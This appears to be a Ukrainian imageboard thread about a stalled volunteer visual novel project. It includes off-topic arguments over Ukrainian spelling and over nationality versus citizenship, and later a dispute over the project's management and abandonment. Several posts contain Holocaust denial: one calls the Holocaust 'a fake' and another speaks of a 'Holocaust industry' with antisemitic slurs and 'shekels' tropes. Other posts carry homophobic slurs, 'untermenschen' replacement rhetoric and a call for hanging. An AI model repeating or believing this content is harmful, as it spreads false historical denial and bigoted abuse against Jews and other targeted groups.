Старий правопис уже не чиннийЗа «новим» правописом 2019, цей звук /h/ з ми передаємо через букву г, хоча і є кілька винятків, до яких Голокост не належить
З повагою до себе, граматичний нацист.
⋮⋮⋮
No.
353749
>>353747> з Герсона чи Гарковайдеться про адаптацію іншомовних слів та понять
тобто буквально передачу h у відкритому складі на початку речення
тому Гагрід але Харитоненко
hivno haritonenko holocaust
>t. повзпроповз
⋮⋮⋮
No.
353750
>>353745Дуже дивно, що ви потрапили на кропивач і не покинули це місце наступної хвилини. Майте на увазі, це дуже серйозно. Раджу вам сходити до психіатра, і я майже цілком упевнений, що він виявить якесь захворювання.
⋮⋮⋮
No.
353751
>>353749Це вірно, але Голокост - іншомовне.
⋮⋮⋮
No.
353752
>>353751А Харків чи Херсон чи Харитоненко й не має у собі цього звука /h/. Тут очевидно звук /x/.
⋮⋮⋮
No.
353757
>>353753> Громадянство=національність Рогулізм в чистому вигляді. Мрію щоб того хто це написав повісили за корупцію і некомпетентність.
⋮⋮⋮
No.
353759
>>353749Та всім похуй на ваші аргументи. Припиніть кривлятися і пишіть нормально.
Багато слів в українську прийшли з інших європейських мов. Garage=гараж, чи згідно їбанаріуму тепер ґараж писати(як кацапи вимовляють).
Хорор, Гаррісон Форд, Гаррі Поттер, а холокост це фейк. Такі правила, так і залишиться.
⋮⋮⋮
No.
353760
>>353757Ти кажеш про старе тлумачення, коли нації ще тільки формувались.
В сучасному розумінні національність дійсно дорівнює громадянству, про це неодноразово казав Vox Veritatis у своїх відео, і в вікі так написано, ось:
"Національність—категорія офіційної класифікації та пов'язаної з нею самоідентифікації громадян у багатьох державах, що стосується гаданої належності особи до певної спадкової спільноти з особливими культурними характеристиками, зокрема мовою та звичаями."
https://www.wikiwand.com/uk/articles/Національність
⋮⋮⋮
No.
353762
>>353760> В сучасному розумінні національність дійсно дорівнює громадянствуНі. Не в сучасному, а в імперському розумінні. Щоб імперіалістичним підорахам у владі було зручніше імпортувати унтерменшів для заміщення корінного населення для отримання короткострокових профітів для себе і свого оточення.
> Vox VeritatisЦе що за штука? Типу наш аналог убермаргінала?
> wikiwandТебе на вікі заблокували підораха?
⋮⋮⋮
No.
353765
>>353762"Your nationality
is the country you come from: American, Canadian, and Russian are all nationalities."
https://www.vocabulary.com/dictionary/nationality"1 [count] : a group of people who share the same history, traditions, and language, and who usually live together in a particular country
The country is home to five nationalities and seven languages.
people of all races and nationalities
2 formal : the fact or status of being a
member or citizen of a particular nation[noncount]
She's American, but her parents are of Japanese nationality.
He has held French nationality for the past 20 years.
[count]
The university has students of over 50 nationalities."
https://www.britannica.com/dictionary/nationality"1 [uncountable, countable] the legal status of belonging to a particular nation"
"2 [countable] a group of people with the same language, culture and history who form part of a
political nation"
https://www.oxfordlearnersdictionaries.com/definition/english/nationalityТобто етнічність—це соціальний термін, а національність—політичний.
⋮⋮⋮
No.
353766
>>353765> American, Canadian, and Russian are all nationalitiesНі це не національності. Якщо орки вважають себе нацією це їх помилкова думка, навіщо тягти їх брехню до нас? Ми ж наче як в Європу збираємося, а не в америку чи росію.
⋮⋮⋮
No.
353767
>>353765Етнос=народ грецькою. Національність те саме що етнос/народ тільки зі своєю національною державою або національною автономією у складі іншої держави.
⋮⋮⋮
No.
353774
>>353771А є відео про те як жиди розказують що Голодомору не було чи це інше?
Впевнений блогери(українські і не дуже) отримали свої шекелі за демонізацію людей яким огидна індустрія холокосту.
⋮⋮⋮
No.
354423
>>340378БАМПНитка потонула. Створюйте нову
⋮⋮⋮
No.
354428
>>354427Топить нитку, гра хуйня.
⋮⋮⋮
No.
354429
>>354428Та ну, не все так погано.
⋮⋮⋮
No.
354431
>>354429Хентаю нема, еччі нема, нелінійної історії нема. Навіть та історія написана погано. І для чого таке потрібно? Я краще в ту ж катаву пограю, сюжет там не краще, але хоча б є брейнрот і секс.
⋮⋮⋮
No.
355558
>>353745Щось новеньке є? Діліться.
⋮⋮⋮
No.
355596
OP
>>354431Яка історія? Ті перші 20хв гри які в демо?
Хочеться хентаю і еччі - ласкаво просимо в команду безкоштовних художників.
>>355558Та нічого нового особливо нема.
У всіх бракує часу на проєкт.
⋮⋮⋮
No.
355607
Думка про те, як класно не втрачати ідею на пів шляху...
Коли вже є від чого відштовхнутись, коли досвід заглиблення в сюжет, потрібні не просто деталізація та продовження—обов'язково варто (через персонажів) трансформувати світ, вплинути на стан речей у ньому.
Це приблизно так само, коли до тебе приїжджає друг в гості з іншого міста, і ви разом подорожуєте, але ти не можеш знати усіх моментів попереду і гарантувати, що по дорозі, наприклад, не станеться аварія, або, навпаки, ви не зустрінете цікавого персонажа...
І ще одна річ, про яку варто сказати: вигляд речей та людей часто є оманливим, і завдяки цьому можна або зробити "потаємні місця" (наприклад, за щільним шаром рослинності криється прохід крізь паркан, картина в кімнаті затуляє скарбничку, або в висохлому колодязі існує невелике підземелля з артефактами), або додати "механізм переконання в діалозі", завдяки харизматичним реплікам (або іншим вмінням), чи то за допомогою предметів персонажа.
Геть не забув ще одну річ: сновидіння цілком можуть бути продовженням подій у сюжетній основі, приблизно так само, як і спогади.
⋮⋮⋮
No.
357586
>>340378Зайшов тільки що на редіт з катави і офігів, скільки ж там росіян. Спілкуються англійською, але їх видає одна деталь, а саме — їх нікнейми. Sosi-sraku228, ebalmamu1337 — усі ці люди створюють більшість, якщо не всі моди для катави. Тож постає питання... як ви будете миритися з тим фактом, що вашу новелу перекладуть російською, а героїні з вашої візуальної новели стануть коханками Сємьона Пісюнова з "Нескінченного літа"?
⋮⋮⋮
No.
357587
>>357586Можливо ти не помітив, але днями дещо сталося і тому, як кажуть, концепція змінилась. Тепер Росія наш друг і партнер. Що було в минулому - в минулому і залишиться. Слава віковічній дружбі російського та українського народів!
⋮⋮⋮
No.
357588
>>357587Заспокойся, шизік.
⋮⋮⋮
No.
357592
>>357586Хай роблять хоча б щось. Творчість—це про поєднання та створення. Якщо (!) буде погано—виправимо (краще, звісно, щоб ті, хто цим займаються). І саме ці зроблені речі будуть враховуватись для репутації.
Тобі не подобається ім'я—і що?
З точки зору розумних іноземців, ми тут всі в Україні "отруєні війною", бо це дійсно негативно впливає на психологічний стан людей.
Слід бути стійкими та наполегливими у житті та у своїх працях.
Варто навчитись доносити інформацію вірно, мати власну точку зору, бути злими на тупе і на бридке, розштовхувати межі можливостей для красивого та розумного.
Ну і займатись собою теж, звісно.
⋮⋮⋮
No.
359393
OP
>>359367Ніяк. Робота не йде.
Щонайменше до нового року будемо на хіатусі.
⋮⋮⋮
No.
359458
>>359393Хотів би щиро підтримати, але не впевнений, чи доречно (
можливо саме зараз—гарний момент заглибитись у творчість, як це вдавалось раніше?..)
>>359447Якщо маєш продуману та блискучу ідею-концепт—можеш спробувати розповісти основні моменти в окремій нитці та, навіть якщо не знайдеш "вільних рук та мізків", сам краще зрозумієш те, що було б круто втілити в реальність...
⋮⋮⋮
No.
359461
OP
>>359447> припахатиНіхто нікого не змушує. Все добровільно.
⋮⋮⋮
No.
366334
>>359461Зневірився в кропивач багато років тому, але за вашим проектом не переставав слідкувати. Продовжуєте працювати,чи зовсім не пре?
⋮⋮⋮
No.
366340
>>366334... Бажання отримати варто трансформувати в прагнення втілити та продемонструвати...
Чи є в тебе приблизні очікування, чи уявний конструкт, що могли б стати матеріалом для творчості?
Поки що деякі нариси-замальовки для піксельної версії пригод:
Якщо цікаво, можеш також переглянути деякі попередні плани-напрцювання:
https://kropyva.ch/b/res/321005.html#321057https://kropyva.ch/b/res/321005.html#334246https://kropyva.ch/b/res/321005.html#334354https://kropyva.ch/b/res/321005.html#335175https://kropyva.ch/b/res/340378.html#345157https://kropyva.ch/b/res/340378.html#355607
⋮⋮⋮
No.
367309
>>366334> Продовжуєте працювати,чи зовсім не пре? Зовсім не пре.
Зараз складний час. Можливо відпочинемо і сили повернуться.
⋮⋮⋮
No.
367402
>>367309Побажання є: не спішити, як буде настрій—тоді. Дяка за натхнення, це неоціненно насправді. "Обов'язково буде продовження"—ось як треба казати. Ну... Тому що "ніщо не зупинить ідею, час якої настав"!
⋮⋮⋮
No.
367412
>>367410Технофашисти - майбутнє людства.
Я б на нашому місці вже б визначав де на Марсі позначити кордони України. Так їх реальніше буде досягти у межах 91го року.
⋮⋮⋮
No.
367420
>>367413Хіба що в твоїх фантазіях.
⋮⋮⋮
No.
371138
Усе, новела загнулася, бувайте всі!
⋮⋮⋮
No.
371139
>>371138Виклади в вільний доступ матеріали, може комусь знадобиться.
⋮⋮⋮
No.
371142
>>371139а що сталось? перекиньте сюди останні несекретні обговорення, бо в мене проїбався доступ до мого клієнту і все, що було до сьогодні з літа – зашифроване та я його не бачу.
>t. Олег Петрович
⋮⋮⋮
No.
371145
>>371138Дякую, що нагадав. Так працює пам'ять та репутація...
Творчі люди займаються тим, що вважають за потрібне. Як було зазначено в одному з дописів вище: "справу буде зроблено тоді, коли справу буде зроблено."
Це означає, що споживач звісно може так чи інакше впливати на процес творення, однак наприкінці дня саме митець є тою людиною, котра обирає наступний пункт призначення своєї прогресивної діяльності. Так працює натхнення та амбітність...
⋮⋮⋮
No.
371146
>>371142я блять казав нахуй
казав, що треба їм робити
і по сюжету, і по маркетингу
через те, що керівництво керувалось емоціями і бажаннями, а не раціональністю, то маємо закинутий проєкт який ніколи не побачить світ
бо замість цілісного сюжету по методу водоспаду - маємо постійні рандомні його зміни залежно від настрою і придумування додаткового лору
тому більшість команди крім загального вайбу не розуміла нічого. 0 менеджерської роботи.
якби керіництво продумало загальний остаточний сюжет, написало спершу синопсис, розбило на акти, розбило акти на сцени, зробила табличку з арками персонажів та їх участю у кожній сцені - то мали б цілісне бачення твору від початку до кінця. Бо те, що є якісь мавки і вишиванки - це звісно супер, але це не буде цікаво, якщо сюжет - незрозуміла нудятина яка міняється по ходу. Навіщо чимось допомагати проєкту, частина якого по ходу роботи тупо змінить вектор розвитку? Навіщо малювати якісь сцени чи арти, якщо ми не знаємо, які взагалі сцени і персонажі будуть у творі? тупо хаос і некомпетентність
але найгірше - небажання навести лад у роботі і зробити дорожню карту розробки.
⋮⋮⋮
No.
371147
>>371146тому краще було б видати хоч щось і мати хоч якийсь але завершений продукт, сиквели якого вже можна розвивати та покращувати далі. Ніж витати у творчих мареннях ніяк не повʼязаних по суті з проєктом, на який розраховують десятки людей. Бо творчі марення і особиста експресія - це класно. Але на рівні написання конкретної сцени чи відмальовки образів. Коли йдеться про загальну структуру – ніякого марення і простору для рандомних поривів настрою бути не може, адже будь-який сюжет так чи інакше має усталену структуру з актів. А-ля завʼязка, розвиток, кульмінація, розвʼязка. Якщо хребет твору, його каркас не створено і до його планування підходять з нікому незвіданою "творчою методикою", то й на притомний результат розраховувати не варто.
⋮⋮⋮
No.
371152
>>371146>по методу водоспадуРозумію про що ти. Про фільтрування напрацювань та об'єднання у цілісну й гармонійну композицію.
Ось як в мене:
1. Емоційне враження-уявлення / унікальна думка-модель на папері
2. Перемальовування з багаторівневою/варіативною механізмом взаємодій, з кадрами анімації та окремими графічними формами
3. Перенаселення графічних файлів у редактор та скрупульозне прописування коду.
4. Наприкінці додаю аудіо, якщо треба.
Тобто на різних етапах може виникати потреба у доповненнях деталями та звіренні форматів, і це те, що зчіплює між собою рівні за значенням частини, немов "сторінки книги" (
їх може бути десь від 4 до 12, якщо казати про пригодницьку головоломку-бойовик, яку маю в планах реалізувати).
Поки є паралельні невеличкі (до місяця) проєкти, потрохи просуваюсь до розробки "механізму бойової магічної системи"...
⋮⋮⋮
No.
371167
>>371146>незрозуміла нудятина яка міняється по ходуЦе можна проілюструвати, "викристалізувати", і знову доповнити красивими епітетами та виразами.
І тоді зауваження
>авіщо малювати якісь сцени чи арти,перетворюється на відкрите питання: "А чи можливо використати ці замальовки, або хоча б якісь фрагменти..?"
Тобто це не є проблемою—зробити декілька версій і подивитись наскільки вони будуть логічними та спорідненими.
Обожнюю перемальовувати, і ненавиджу переписувати код...
⋮⋮⋮
No.
371675
>>371142Пішли в хіатус, Олеже Петровиче, бо не було активності й кожен мав власні справи...
>Редактор
⋮⋮⋮
No.
373421
>>371672Поки що на такому рівні.
Вже зробив переміщення, відображення та зміну піктограм на мапі, а також утворення зв'язків для головоломки.
З полями та колами ще тільки починаю робити... Одним словом—"намудрував".
⋮⋮⋮
No.
373423
ОП! Будь ласка - не закидуй новелу! Зпробуй пошукати людей на Долчані, там зараз великий актив. Мені дуже подобається концепція і радує думка що у українців буде свій аналог "Нескінченого літа", як у русні. Готовий бути піарщиком, шукати людей там. Не здавайся, короче!
>>340378